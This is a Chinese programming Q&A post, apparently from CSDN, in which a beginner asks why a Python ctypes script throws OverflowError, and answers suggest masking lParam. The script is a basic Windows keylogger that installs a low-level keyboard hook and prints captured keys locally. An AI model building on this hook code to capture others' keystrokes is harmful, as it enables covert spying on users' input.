python异常 OverflowError 5C

异常出在哪里,刚刚接触,希望能详细一点。
Python 3.6.4 (v3.6.4:d48eceb, Dec 19 2017, 06:54:40) [MSC v.1900 64 bit (AMD64)] on win32
Type "copyright", "credits" or "license()" for more information.

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
user32=windll.user32
kernel32=windll.kernel32
WH_KEYBOARD_LL=13
WM_KEYDOWN=0x0100
CTRL_CODE=162
class KeyLogger:
def init(self):
self.lUser32 =user32
self.hooked =None
def installHookProc(self,pointer):
self.hooked=self.lUser32.SetWindowsHookExA(
WH_KEYBOARD_LL,
pointer,
kernel32.GetModuleHandleW(None),
0
)
if not self.hooked:
return False
return True
def uninstallHookProc(self):
if self.hooked is None:
return
self.lUser32.UnhookWindowsHookEx(self.hooked)
self.hooked=None

def getFPTR(fn):
CMPFUNC=CFUNCTYPE(c_int,c_int,c_int,POINTER(c_void_p))
return CMPFUNC(fn)

def hookProc(nCode,wParam,lParam):
if wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(keyLogger.hooked,nCode,wParam,lParam)
hookedKey=chr(lParam[0])
print(hookedKey)
if(CTRL_CODE==int(lParam[0])):
print("Ctrl pressed,call uninstallHook()")
keyLogger.uninstallHookProc()
sys.exit(-1)
return user32.CallNextHookEx(keyLogger.hooked,nCode,wParam,lParam)

def startKeyLog():
msg=MSG()
user32.GetMessageA(byref(msg),0,0,0)

keyLogger=KeyLogger()
pointer=getFPTR(hookProc)
if keyLogger.installHookProc(pointer):
print("installed keyLogger")

installed keyLogger

startKeyLog()

异常:Traceback (most recent call last):
File "_ctypes/callbacks.c", line 234, in 'calling callback function'
File "", line 4, in hookProc
OverflowError: Python int too large to convert to C long

2个回答

hookedKey=chr(lParam[0]) 這邊(lParam[0]) 是個long類型 如果你需要轉換成對應的 ASCII編碼 需要 hookedKey = chr(0xFFFFFFFF&lParam[0])

Python int too large to convert to C long
python的int对于c语言的long来说,太长了,不能转换

hjjof001
hjjof001 异常我当然看得懂,我问是哪里出错了,定个位,或者解决办法。
2 年多之前 回复
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
立即提问
相关内容推荐